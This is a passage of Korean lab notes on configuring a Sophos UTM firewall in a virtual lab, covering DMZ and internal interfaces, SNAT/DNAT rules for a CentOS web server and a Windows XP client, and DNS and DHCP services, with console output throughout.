3: eth1: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UNKNOWN group default qlen 1000
    link/ether 00:0c:29:7e:8e:6a brd ff:ff:ff:ff:ff:ff
    inet 192.168.10.253/24 brd 192.168.10.255 scope global eth1
       valid_lft forever preferred_lft forever
4: eth2: <BROADCAST,MULTICAST> mtu 1500 qdisc noop state DOWN group default qlen 1000
    link/ether 00:0c:29:7e:8e:74 brd ff:ff:ff:ff:ff:ff

utm9:/root # ping -c 4 8.8.8.8
PING 8.8.8.8 (8.8.8.8) 56(84) bytes of data.
64 bytes from 8.8.8.8: icmp_seq=1 ttl=128 time=42.7 ms
64 bytes from 8.8.8.8: icmp_seq=2 ttl=128 time=43.9 ms
64 bytes from 8.8.8.8: icmp_seq=3 ttl=128 time=46.5 ms
64 bytes from 8.8.8.8: icmp_seq=4 ttl=128 time=44.5 ms

--- 8.8.8.8 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3005ms
rtt min/avg/max/mdev = 42.787/44.464/46.558/1.383 ms

3. DMZ 설정

[Interfaces & Routing] > [Interfaces]

[New interface...] 를 클릭해서 DMZ망 연결 인터페이스를 설정한다.

Add Interface
Name: DMZ
Type: Ethernet
Hardware: eth2 Advanced Micro Devices [AMD] 79c970 [PCnet32 LANCE]
Dynamic IP:	x
IPv4 address: 172.16.10.253
Netmask: /24 (255.255.255.0)
IPv4 default GW: x
Comment: DMZ망 연결 인터페이스

저장 후 인터페이스를 활성화 시킨다.
[Dashboard] > 인터페이스 부분의 eth2 State Link 부분의 Up을 확인한다.
콘솔에서 ip a or ifconfig 명령어로 확인하면 아래처럼 eth1 부분에 해당 IP주소가 활성화된 것을 확인한다.

utm9:/root # ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host
       valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group default qlen 1000
    link/ether 00:0c:29:7e:8e:60 brd ff:ff:ff:ff:ff:ff
    inet 200.200.200.200/24 brd 200.200.200.255 scope global eth0
       valid_lft forever preferred_lft forever
3: eth1: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UNKNOWN group default qlen 1000
    link/ether 00:0c:29:7e:8e:6a brd ff:ff:ff:ff:ff:ff
    inet 192.168.10.253/24 brd 192.168.10.255 scope global eth1
       valid_lft forever preferred_lft forever
4: eth2: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UNKNOWN group default qlen 1000
    link/ether 00:0c:29:7e:8e:74 brd ff:ff:ff:ff:ff:ff
    inet 172.16.10.253/24 brd 172.16.10.255 scope global eth2
       valid_lft forever preferred_lft forever

실습> UTM에 대한 라우팅 테이블 확인하기

utm9:/root # ip route
127.0.0.0/8 dev lo  scope link 
172.16.10.0/24 dev eth2  proto kernel  scope link  src 172.16.10.253 
192.168.10.0/24 dev eth1  proto kernel  scope link  src 192.168.10.253 
200.200.200.0/24 dev eth0  proto kernel  scope link  src 200.200.200.200

실습> CentOS WEB#1 설치하기

네트워크 구성도

VMnet1: 192.168.10.0/24
VMnet2: 172.16.10.0/24
VMnet8: 200.200.200.0/24


200.200.200.1   : Host OS
200.200.200.200 : UTM          UTM 보안 솔루션
200.200.200.101 : CentOS 7,    DMZ망 WEB Server#1 IP주소 (DNAT/SNAT o)  <-- 설정
200.200.200.102 : Rocky Linux, DMZ망 WEB Server#2 IP주소 (DNAT/SNAT o)
200.200.200.103 : Rocky Linux, DMZ망 WEB Server#3 IP주소 (DNAT/SNAT o)
200.200.200.104 : CentOS 7,    DMZ망 DB Server IP주소 (DNAT x, SNAT o)
200.200.200.105 :              내부망 윈도우의 SNAT용 IP주소 (DNAT x, SNAT o)  <-- 설정
200.200.200.110 : CentOS 7,    DMZ망 DNS Server (DNAT/SNAT o)
200.200.200.3   : Kali Linux,  Attacker 

                  200.200.200.110  -------------------------------------------------------+ 
                  200.200.200.105                  DNAT                                   |
                  200.200.200.104(DBMS)                                                   |
                  200.200.200.103:80 -------------------------------+                     |
200.200.200.3     200.200.200.102:80 ------------------------+      |                     |
Attacker          200.200.200.101:80 -----------------+      |      |                     |
  |               200.200.200.0/24                    |      |      |                     |
  |             .200  |                               |      |      |                     |
  |     eth0(vmnet8)  |                               |      |      |                     |
외부망 --------------[ SOPHOS UTM ] ------- DMZ       |      |      |                     |
  |      eth1(vmnet1) |       |  eth2(vmnet2)         |80    |80    |80                   |
  |              .253 |      172.16.10.253            |      |      |                     |
  |          <--------+-----------------+             v      v      v                     |
  |                   |   SNAT          |            CentOS Rocky  Rocky                  v
 Host OS              |                 +----------- WEB#1  WEB#2  WEB#3  DBMS(MariaDB)  DNS#1
  |                   | ens38(vmnet2)                .101   .102   .103   .104           .110
200.200.200.1         |                                |      |      |      ^
                    Windows                            |      |      |      |
                     .105                              +------+------+------+
                    eth0(vmnet1)                      웹서버 모두 DBMS 서버를 사용
                 192.168.10.0/24                          ens33 (vmnet2)
                 (관리자)                              172.16.10.0/24 

1. 설정 정보
VMnet명: CentOS WEB#1
VMnet: vmnet2
IP주소: 172.16.10.101
SubnetMask: 24
Default gateway: 172.16.10.253
DNS: 168.126.63.1, 168.126.63.2
[X] Automatically connect

HostName: web1.linuxmaster.net

2. 설치
CentOS 7을 설치한다.

3. 콘솔 설정 
콘솔로 로그인한 후에 NIC 정보를 설정한다.
[root@localhost ~]# nmtui

NIC 정보
ens33: VMnet2 172.16.10.101

프로파일 이름 ens33
이더넷
IPv4 설정       <수동>
주소 172.16.10.101/24
게이트웨이 172.16.10.253
DNS 서버 168.126.63.1
         168.126.63.2

[X] 자동으로 연결 

호스트명: web1.linuxmaster.net

[root@localhost ~]# systemctl restart network

아래 2개의 설정을 콘솔에서 한다.
sshd 설정파일에서 UseDNS 지시어를 no로 설정하고 sshd 서비스를 재시작한다.
[root@localhost ~]# vi /etc/ssh/sshd_config 
UseDNS no
[root@localhost ~]# systemctl restart sshd

/etc/hosts 파일에 Local DNS를 설정한다.
[root@localhost ~]# vi /etc/hosts
127.0.0.1   localhost localhost.localdomain localhost4 localhost4.localdomain4
::1         localhost localhost.localdomain localhost6 localhost6.localdomain6
172.16.10.101 web1.linuxmaster.net web1


4. SSH 접속
ssh로 서버에 로그인한 후 IP주소를 확인한다.
[root@web1 ~]# ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host
       valid_lft forever preferred_lft forever
2: ens33: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group default qlen 1000
    link/ether 00:0c:29:21:69:d4 brd ff:ff:ff:ff:ff:ff
    inet 172.16.10.101/24 brd 172.16.10.255 scope global noprefixroute ens33
       valid_lft forever preferred_lft forever
    inet6 fe80::75c2:ace5:ca09:ac46/64 scope link noprefixroute
       valid_lft forever preferred_lft forever

[root@web1 ~]# ip r
default via 172.16.10.253 dev ens33 proto static metric 100
172.16.10.0/24 dev ens33 proto kernel scope link src 172.16.10.101 metric 100

[root@web1 ~]# ping -c 4 172.16.10.253
PING 172.16.10.253 (172.16.10.253) 56(84) bytes of data.
64 bytes from 172.16.10.253: icmp_seq=1 ttl=64 time=0.250 ms
64 bytes from 172.16.10.253: icmp_seq=2 ttl=64 time=0.525 ms
64 bytes from 172.16.10.253: icmp_seq=3 ttl=64 time=0.359 ms
64 bytes from 172.16.10.253: icmp_seq=4 ttl=64 time=1.07 ms

--- 172.16.10.253 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3001ms
rtt min/avg/max/mdev = 0.250/0.552/1.075/0.317 ms

실습> DMZ망의 WEB#1 SNAT 설정하기



                                                              DNAT
                                             200.200.200.101   ->   172.16.10.101
200.200.200.1 <-> 200.200.200.101            200.200.200.101   <-   172.16.10.101
[Host OS] -------- [인터넷] ---------------- [UTM] ---------------- [WEB#1]
                   168.126.63.1, 저장소  <-- 200.200.200.101   <- (SNAT)   172.16.10.101 (yum)


1. 호스트명 변경
[root@localhost ~]# hostnamectl set-hostname web1.linuxmaster.net
[root@localhost ~]# vi /etc/hosts
127.0.0.1   localhost localhost.localdomain localhost4 localhost4.localdomain4
::1         localhost localhost.localdomain localhost6 localhost6.localdomain6
172.16.10.101  web1.linuxmaster.net web1

[root@localhost ~]# logout

다시 로그인 한다.
[C:\~]$ ssh root@172.16.10.101
[root@web1 ~]# cat /etc/hostname
web1.linuxmaster.net

2. 통신 확인
web1이 UTM과 통신이 가능하지만 외부망과는 통신이 안된다.
[root@web1 ~]# ping -c 4 172.16.10.253
PING 172.16.10.253 (172.16.10.253) 56(84) bytes of data.
64 bytes from 172.16.10.253: icmp_seq=1 ttl=64 time=0.306 ms
64 bytes from 172.16.10.253: icmp_seq=2 ttl=64 time=0.747 ms
64 bytes from 172.16.10.253: icmp_seq=3 ttl=64 time=0.598 ms
64 bytes from 172.16.10.253: icmp_seq=4 ttl=64 time=0.292 ms

--- 172.16.10.253 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3002ms
rtt min/avg/max/mdev = 0.292/0.485/0.747/0.195 ms


UTM에서 방화벽 기본 정책이 ALL DROP이므로 외부로 나갈 수 없기 때문에 외부로 나가는 정책을 설정해야 한다.
[root@web1 ~]# ping -c 4 8.8.8.8 -W 1
PING 8.8.8.8 (8.8.8.8) 56(84) bytes of data.

--- 8.8.8.8 ping statistics ---
4 packets transmitted, 0 received, 100% packet loss, time 3001ms

이유는 방화벽의 기본 정책이 DROP으로 설정되어 있기 때문이다.
UTM의 방화벽 기본 정책을 확인한다.
WEB#1 서버가 8.8.8.8과 통신을 하면 실패가 된다.
UTM 장비에서 내부 DMZ 망에 있는 WEB#1 서버가 외부로 인터넷이 될 수 없는 이유는 
- Chain의 기본 정책이 모두 DROP으로 되어있다.
- SNAT가 설정 되지 않았다.
utm9:/root # iptables -nvL | grep policy
Chain INPUT (policy DROP 0 packets, 0 bytes)
Chain FORWARD (policy DROP 0 packets, 0 bytes)
Chain OUTPUT (policy DROP 0 packets, 0 bytes)

3. 공인 IP주소 추가하기
DMZ망 웹서버 WEB#1 서버가 사용할 외부망 IP 주소 (200.200.200.101)을 추가한다.
[Interfaces & Routing]	
[Interfaces] > [Additional Addresses 탭] > [+ New Additional Address...]

Name: DMZ WEB#1
On interface: External
IPv4 address: 200.200.200.101
Netmask: /24 (255.255.255.0)
Comment: DMZ 웹서버#1

저장 후 인터페이스를 활성화 시키고 Reload 버튼을 클릭한다.


쉘에서 eth0 인터페이스에 200.200.200.101을 확인한다.
utm9:/root # ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host
       valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group default qlen 1000
    link/ether 00:0c:29:7e:8e:60 brd ff:ff:ff:ff:ff:ff
    inet 200.200.200.200/24 brd 200.200.200.255 scope global eth0
       valid_lft forever preferred_lft forever
    inet 200.200.200.101/24 scope global secondary eth0
       valid_lft forever preferred_lft forever
3: eth1: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UNKNOWN group default qlen 1000
    link/ether 00:0c:29:7e:8e:6a brd ff:ff:ff:ff:ff:ff
    inet 192.168.10.253/24 brd 192.168.10.255 scope global eth1
       valid_lft forever preferred_lft forever
4: eth2: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UNKNOWN group default qlen 1000
    link/ether 00:0c:29:7e:8e:74 brd ff:ff:ff:ff:ff:ff
    inet 172.16.10.253/24 brd 172.16.10.255 scope global eth2
       valid_lft forever preferred_lft forever

4. SNAT 설정하기
DMZ WEB#1 서버에서 외부로 접속할 수 있도록 길을 열어주는 설정이다.
WEB#1 (172.16.10.101) 서버의 SNAT 설정을 한다.

[Network Protection] > [NAT] > [NAT 탭] > [+ New NAT Rule...]


Add NAT Rule
Group: :: No Group :: 
Position: Bottom
Rule type: SNAT (source)

Matching condition
For traffic from: WEB#1  <-- DMZ WEB#1이 없으니 + 아이콘을 눌러서 아래처럼 등록하면 자동 선택된다. 
    Add Network Definition
    Name: WEB#1
    Type: Host
    IPv4 address: 172.16.10.101
    Comment: DMZ 웹서버#1
Using service: Any
Going to: Any

Action
Change the source to: External [WEB#1] (Address)  <-- Additional Addresses로 등록한 WEB#1을 선택한다. 200.200.200.101
And the service to:	  <-- 여기에는 아무것도 오지 않는다.

Automatic firewall rule: 체크 O  <-- 반드시 체크를 한다.
Comment: WEB#1 SNAT 설정


SNAT 설정을 하고 Save를 하지 않았을 경우의 iptables nat 테이블의 설정 룰을 확인하면 DMZ 웹서버의 IP주소가 
등록되지 않은 것을 확인할 수 있다.
utm9:/root # iptables -t nat -nL | grep 172.16.10.101
  <-- 등록된 룰이 없다.

룰을 저장하기 위해서 Save 버튼을 누른다.

Save하고 나서 utm에서 iptables 의 nat 룰을 확인한다.
SNAT 설정을 하고 Save를 했을 경우의 iptables nat 테이블의 설정 룰을 확인하면 DMZ 웹서버의 IP주소가 등록된 것을 확인할 수 있다.

utm9:/root # iptables -t nat -nL | grep 172.16.10.101
SNAT       all  --  172.16.10.101        0.0.0.0/0            policy match dir out pol none to:200.200.200.101

DMZ WEB#1 서버가 8.8.8.8로 ping 테스트를 하면 외부와 통신이 되는 것을 확인할 수 있다.
[root@web1 ~]# ping 8.8.8.8 -c 4
PING 8.8.8.8 (8.8.8.8) 56(84) bytes of data.
64 bytes from 8.8.8.8: icmp_seq=1 ttl=127 time=41.5 ms
64 bytes from 8.8.8.8: icmp_seq=2 ttl=127 time=41.9 ms
64 bytes from 8.8.8.8: icmp_seq=3 ttl=127 time=41.2 ms
64 bytes from 8.8.8.8: icmp_seq=4 ttl=127 time=41.9 ms

--- 8.8.8.8 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3005ms
rtt min/avg/max/mdev = 41.210/41.641/41.937/0.303 ms

5. 웹서버 설정
아파치 웹서버를 설치한다.
[root@web1 ~]# yum -y install httpd
[root@web1 ~]# systemctl enable --now httpd
[root@web1 ~]# ss -nltp

호스트 방화벽은 모두 중지한다.
중지하는 이유는 네트워크 방화벽이 존재하기 때문에 호스트 방화벽은 모두 내려준다.
[root@web1 ~]# systemctl stop firewalld
[root@web1 ~]# systemctl disable firewalld

간단한 index.html 페이지를 생성한다.
[root@web1 ~]# echo Welcome to 172.16.10.101. > /var/www/html/index.html

6.  DNAT 설정하기
외부에서 DMZ WEB#1 서버로 접속할 수 있도록 길을 열어주는 설정이다.

[Network Protection] > [NAT] > [NAT 탭] > [+ New NAT Rule...]

Add NAT Rule
Group: :: No group ::
Position: Top   <-- SNAT 보다 DNAT 가 트래픽이 많기 때문에 Top으로 설정한다.
Rule type: DNAT (destination)

Matching condition
For traffic from: Any  <-- 아무곳에서 들어올 수 있다. (공개형 웹서버이기 때문이다.)
Using service: HTTP    <-- 80번
Going to: External [WEB#1] (Address)  <-- 200.200.200.101

Action
Change the destination to: WEB#1  <-- 172.16.10.101
And the service to: HTTP          <-- 80번

Automatic firewall rule: 체크  <-- 반드시 체크해야 한다.
Comment: WEB#1 DNAT 설정

DNAT 설정을 하고 Save를 하지 않았을 경우의 iptables nat 테이블의 설정 룰을 확인하면
내부망 웹서버의 IP주소의 SNAT만 설정되어 있고 DNAT가 등록되지 않은 것을 확인할 수 있다.
utm9:/root # iptables -t nat -nL | grep 172.16.10.101
SNAT       all  --  172.16.10.101        0.0.0.0/0            policy match dir out pol none to:200.200.200.101

Save하고 나서 콘솔에서 iptables 의 nat 룰을 확인한다.
DNAT 설정을 하고 Save를 하고 룰을 활성화할 경우의 iptables nat 테이블의 설정 룰을 확인하면
내부망 웹서버의 IP주소의 DNAT가 등록되지 않은 것을 확인할 수 있다.

|L2:MAC...|L3 S:200.200.200.200.1, D:200.200.200.101|L7: 80|
                                       | 
                                       |  DNAT에 의해서 200.200.200.101 -> 172.16.10.101로 교체한다.
                                       v
|L2:MAC...|L3 S:200.200.200.200.1, D:172.16.10.101|L7: 80|

utm9:/root # iptables -t nat -nL | grep --color -B 3 172.16.10.101

Chain USR_OUTPUT (1 references)
target     prot opt source               destination         
DNAT       tcp  --  0.0.0.0/0            200.200.200.101      tcp spts:1:65535 dpt:80 to:172.16.10.101:80

Chain USR_POST (1 references)
target     prot opt source               destination         
SNAT       all  --  172.16.10.101        0.0.0.0/0            policy match dir out pol none to:200.200.200.101
--

Chain USR_PRE (1 references)
target     prot opt source               destination         
DNAT       tcp  --  0.0.0.0/0            200.200.200.101      tcp spts:1:65535 dpt:80 to:172.16.10.101:80

7. 웹서버 접속
브라우저에서 공인IP주소로 접속하면 내부 DMZ WEB#1로 돌려준다.

http://200.200.200.101/

Welcome to 172.16.10.101.

실습> Windows XP 설정

네트워크 구성도

VMnet1: 192.168.10.0/24
VMnet2: 172.16.10.0/24
VMnet8: 200.200.200.0/24


200.200.200.1   : Host OS
200.200.200.200 : UTM          UTM 보안 솔루션
200.200.200.101 : CentOS 7,    DMZ망 WEB Server#1 IP주소 (DNAT/SNAT o)  <-- 설정
200.200.200.102 : Rocky Linux, DMZ망 WEB Server#2 IP주소 (DNAT/SNAT o)
200.200.200.103 : Rocky Linux, DMZ망 WEB Server#3 IP주소 (DNAT/SNAT o)
200.200.200.104 : CentOS 7,    DMZ망 DB Server IP주소 (DNAT x, SNAT o)
200.200.200.105 :              내부망 윈도우의 SNAT용 IP주소 (DNAT x, SNAT o)  <-- 설정
200.200.200.110 : CentOS 7,    DMZ망 DNS Server (DNAT/SNAT o)
200.200.200.3   : Kali Linux,  Attacker 

                  200.200.200.110  -------------------------------------------------------+ 
                  200.200.200.105                  DNAT                                   |
                  200.200.200.104(DBMS)                                                   |
                  200.200.200.103:80 -------------------------------+                     |
200.200.200.3     200.200.200.102:80 ------------------------+      |                     |
Attacker          200.200.200.101:80 -----------------+      |      |                     |
  |               200.200.200.0/24                    |      |      |                     |
  |             .200  |                               |      |      |                     |
  |     eth0(vmnet8)  |                               |      |      |                     |
외부망 --------------[ SOPHOS UTM ] ------- DMZ       |      |      |                     |
  |      eth1(vmnet1) |       |  eth2(vmnet2)         |80    |80    |80                   |
  |              .253 |      172.16.10.253            |      |      |                     |
  |          <--------+-----------------+             v      v      v                     |
  |                   |   SNAT          |            CentOS Rocky  Rocky                  v
 Host OS              |                 +----------- WEB#1  WEB#2  WEB#3  DBMS(MariaDB)  DNS#1
  |                   | ens38(vmnet2)                .101   .102   .103   .104           .110
200.200.200.1         |                                |      |      |      ^
                    Windows                            |      |      |      |
                     .105                              +------+------+------+
                    eth0(vmnet1)                      웹서버 모두 DBMS 서버를 사용
                 192.168.10.0/24                          ens33 (vmnet2)
                 (관리자)                              172.16.10.0/24 


Windwos XP가 8.8.8.8로 ping 통신을 할 수 있게 설정하시오.
192.168.10.105 -> 200.200.200.105


1. WinXP 설정
Internal WinxP를 아래와 같이 설정한다.
VMnet: VMnet1
IP주소: 192.168.10.105
서브넷마스크: 255.255.255.0
게이트웨이: 192.168.10.253
DNS: 168.126.63.1, 168.126.63.2

2. 공인 IP주소 추가하기
Internal망 윈도우XP가 사용할 외부망 IP 주소 (200.200.200.105)을 추가한다.
[Interfaces & Routing]	
[Interfaces] > [Additional Addresses 탭] > [+ New Additional Address...]

Name: Internal WinXP
On interface: External
IPv4 address: 200.200.200.105
Netmask: /24 (255.255.255.0)
Comment: Internal WinXP

저장 후 인터페이스를 활성화 시키고 Reload 버튼을 클릭한다.

3. IP주소 확인
쉘에서 eth0 인터페이스에 200.200.200.105를 확인한다.
utm9:/root # ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host
       valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group default qlen 1000
    link/ether 00:0c:29:7e:8e:60 brd ff:ff:ff:ff:ff:ff
    inet 200.200.200.200/24 brd 200.200.200.255 scope global eth0
       valid_lft forever preferred_lft forever
    inet 200.200.200.101/24 scope global secondary eth0
       valid_lft forever preferred_lft forever
    inet 200.200.200.105/24 scope global secondary eth0
       valid_lft forever preferred_lft forever
3: eth1: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UNKNOWN group default qlen 1000
    link/ether 00:0c:29:7e:8e:6a brd ff:ff:ff:ff:ff:ff
    inet 192.168.10.253/24 brd 192.168.10.255 scope global eth1
       valid_lft forever preferred_lft forever
4: eth2: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UNKNOWN group default qlen 1000
    link/ether 00:0c:29:7e:8e:74 brd ff:ff:ff:ff:ff:ff
    inet 172.16.10.253/24 brd 172.16.10.255 scope global eth2
       valid_lft forever preferred_lft forever

4. SNAT 설정하기
Internal WinXP에서 외부로 접속할 수 있도록 길을 열어주는 설정이다.
WinXP (192.168.10.105)의 SNAT 설정을 한다.

[Network Protection] > [NAT] > [NAT 탭] > [+ New NAT Rule...]


Add NAT Rule
Group: :: No Group :: 
Position: Bottom
Rule type: SNAT (source)

Matching condition
For traffic from: WinXP  <-- WinXP가 없으니 + 아이콘을 눌러서 아래처럼 등록하면 자동 선택된다. 
    Add Network Definition
    Name: WinXP
    Type: Host
    IPv4 address: 192.168.10.105
    Comment: Internal WinxP
Using service: Any
Going to: Any

Action
Change the source to: External [Internal WinXP] (Address)  <-- Additional Addresses로 등록한 Internal WinXP를 선택한다. 200.200.200.105
And the service to:	  <-- 여기에는 아무것도 오지 않는다.

Automatic firewall rule: 체크 O
Comment: WinXP SNAT 설정

5. 통신 확인
WinXP에서 IP주소를 확인하고 통신이 되는지 확인한다.
C:\>ipconfig

Windows IP Configuration


Ethernet adapter 로컬 영역 연결:

        Connection-specific DNS Suffix  . :
        IP Address. . . . . . . . . . . . : 192.168.10.105
        Subnet Mask . . . . . . . . . . . : 255.255.255.0
        Default Gateway . . . . . . . . . : 192.168.10.253

C:\>ping 192.168.10.253

Pinging 192.168.10.253 with 32 bytes of data:

Reply from 192.168.10.253: bytes=32 time<1ms TTL=64
Reply from 192.168.10.253: bytes=32 time<1ms TTL=64
Reply from 192.168.10.253: bytes=32 time<1ms TTL=64
Reply from 192.168.10.253: bytes=32 time<1ms TTL=64

Ping statistics for 192.168.10.253:
    Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),
Approximate round trip times in milli-seconds:
    Minimum = 0ms, Maximum = 0ms, Average = 0ms

C:\>ping 8.8.8.8

Pinging 8.8.8.8 with 32 bytes of data:

Reply from 8.8.8.8: bytes=32 time=51ms TTL=127
Reply from 8.8.8.8: bytes=32 time=48ms TTL=127
Reply from 8.8.8.8: bytes=32 time=48ms TTL=127
Reply from 8.8.8.8: bytes=32 time=49ms TTL=127

Ping statistics for 8.8.8.8:
    Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),
Approximate round trip times in milli-seconds:
    Minimum = 48ms, Maximum = 51ms, Average = 49ms

실습> DNS 서버 설정

1. DNS 서버 등록
DNS서버의 허용할 네트워크나 호스트를 추가한다.

[Network Services] > [DNS] > [Global 탭]

Allowed Networks
- Internal (Network)  <-- 기본 설정값
- DMZ (Network)       <-- WEB#1  설정해도 상관없다.

설정  Apply 버튼을 클릭한다.

2. DNS 변경
내부망의 호스트와 DMZ의 WEB#1의 DNS서버를 아래처럼 변경한다
Win7 or WinXP: 192.168.10.253
WEB#1: 172.16.10.253

3. 확인
WinXP에서 DNS를 변경하지 않았을 경우 nslookup으로 확인한다.
C:\>nslookup
Default Server:  kns.kornet.net
Address:  168.126.63.1  <-- KT DNS 설정

Non-authoritative answer:
Name:    naver.com
Addresses:  223.130.200.104, 223.130.200.107, 223.130.195.95, 223.130.195.200

WindowsXP에서 DNS를 변경한다.
ncpa.cpl에서 네트워크 연결에서 로컬 영역 연결에서 DNS 주소를 변경한다.
다음 IP 주소 사용 체크
IP 주소: 192.168.10.105
서브넷 마스크: 255.255.255.0
기본 게이트웨이: 192.168.10.253

다음 DNS 서버 주소 사용
기본 설정 DNS 서버: 192.168.10.253
보조 DNS 서버: X


C:\>nslookup
*** Can't find server name for address 192.168.10.253: Non-existent domain
*** Default servers are not available
Default Server:  UnKnown
Address:  192.168.10.253

> naver.com
Server:  UnKnown
Address:  192.168.10.253

Non-authoritative answer:
Name:    naver.com
Addresses:  223.130.200.107, 223.130.195.95, 223.130.200.104, 223.130.195.200

> daum.net
Server:  UnKnown
Address:  192.168.10.253

Non-authoritative answer:
Name:    daum.net
Addresses:  121.53.105.193, 211.249.220.24


WEB#1에서 확인한다.
dig을 사용하기 위해서 bind-utils 패키지를 설치한다.
패키지가 설치되는 조건
- 방화벽에서 외부로 통신이 되어야 한다. (SNAT를 설정했으므로 가능)
- DNS 서버에서 도메인주소를 얻어와야 한다. (UTM이 DNS서버이고, DNS 서버를 설정했으므로 가능)
- 패키지를 다운로드 받기 위해서 웹서버로 접속해서 다운로드 받아야 한다. (SNAT를 설정했으므로 가능)
bind-utils: nslookup, dig, host 명령어가 포함된 패키지
[root@web1 ~]# yum -y install bind-utils

WEB1에서 DNS를 변경하지 않았을 경우 nslookup으로 확인한다.
[root@web1 ~]# cat /etc/resolv.conf 
# Generated by NetworkManager
search linuxmaster.net
nameserver 168.126.63.1  <-- KT DNS 설정
nameserver 168.126.63.2  <-- KT DNS 설정
[root@web1 ~]# dig naver.com +short
223.130.200.107
223.130.195.200
223.130.195.95
223.130.200.104

WEB#1에서 nmtui를 실행해서 DNS 주소를 변경한다
[root@web1 ~]# nmtui

주소: 172.16.10.101/24
게이트웨이: 172.16.10.253
DNS 서버: 172.16.10.253   <-- 168.126.63.1 -> 172.16.101.253 으로 변경한다.
[X] 자동으로 연결

[root@web1 ~]# systemctl restart network
[root@web1 ~]# cat /etc/resolv.conf 
# Generated by NetworkManager
search linuxmaster.net
nameserver 172.16.10.253


naver.com, daum.net의 도메인을 확인한다.
도메인의 IP주소가 잘 나오면 설정이 잘 된 것이다.

[root@web1 ~]# dig daum.net +short
121.53.105.193
211.249.220.24

[root@web1 ~]# dig naver.com +short
223.130.195.95
223.130.200.107
223.130.200.104
223.130.195.200

실습> DHCP 서버 설정

DHCP(Dynamic Host Configuration Protocol) 는 
클라이언트가 DHCP 서버로 부터 IP주소를 요청하면 서버가 IP주소를 
클라이언트에게 할당해서 네트워크를 자동으로 설정하게 하는 프로토콜이다.

C                  S
DHCP Discover(Broadcast)
--------------------->  네트워크 정보를 받기 위해서 동일 네트워크에 DHCP 서버를 찾는 패킷
DHCP Offer (Broadcast or Unicast)
<---------------------  Discover 패킷을 받은 DHCP 서버가 호스트에게 네트워크 정보에 대해 제안을 요청하는 패킷
DHCP Request (Broadcast or Unicast)
----------------------> Offer 패킷으로 전달된 네트워크 정보 이용 시 해당 정보에 대한 사용 요청을 보내는 패킷
DHCP Acknowledgement (Broadcast or Unicast)
<---------------------  서버에서 확인했음을 알려주는 패킷

1. VMware 네트워크 설정
vmnetcfg.exe를 실행해서 VMnet1 DHCP 기능을 중지한다.

2. DHP 서버 설정
UTM에서 DHCP Server를 설정한다.

[Network Services] > [DHCP] > [+ New DHCP Server...]

Add DHCP Server
Interface: Internal
Range start: 192.168.10.100  <-- IP의 시작 주소
Range end: 192.168.10.200    <-- IP의  주소
DNS server 1: 192.168.10.253 <-- DNS가 안되는 분들은 168.126.63.1로 설정
DNS server 2: x
Default gateway: 192.168.10.253
Domain:	x
Lease time:	600  <-- 테스트이므로 임대시간을 600초로 한다. (실제 운영할 때의 설정은 많이 잡아준다.)
Comment: DHCP 서버 설정


3. 라이브 로그 모니터링
[Network Services] > [DHCP] > [Open Live Log] 를 클릭해서 로그를 확인한다.
Live Log: DHCP server 

4. 윈도우 설정
Win7 or WinXP 가 부팅 시 DHCP 서버로 부터 IP주소를 요청해서 할당을 받는다.

Win7 or WinXP 의 네트워크를 아래처럼 설정한다.
- 자동으로 IP 주소 받기
- 자동으로 DNS 서버 주소 받기 

설정 후 Win7 or WinXP 를 재부팅한다.
C:\> shutdown /r /t 0

만약 IP주소를 192.168.10.128로 받으면 VMware 에서 IP주소를 받은 것이므로 vmnetcfg.exe 에서 
어댑터를 DHCP 사용 안함으로 변경한다. (아래 체크박스를 해제한다.)
[ ] Use local DHCP service to distribute IP address to VMs

C:\>ipconfig/all

Windows IP Configuration

        Host Name . . . . . . . . . . . . : victim_winxp
        Primary Dns Suffix  . . . . . . . :
        Node Type . . . . . . . . . . . . : Broadcast
        IP Routing Enabled. . . . . . . . : No
        WINS Proxy Enabled. . . . . . . . : No

Ethernet adapter 로컬 영역 연결:

        Connection-specific DNS Suffix  . :
        Description . . . . . . . . . . . : VMware Accelerated AMD PCNet Adapter

        Physical Address. . . . . . . . . : 00-0C-29-FB-2E-E9
        Dhcp Enabled. . . . . . . . . . . : Yes
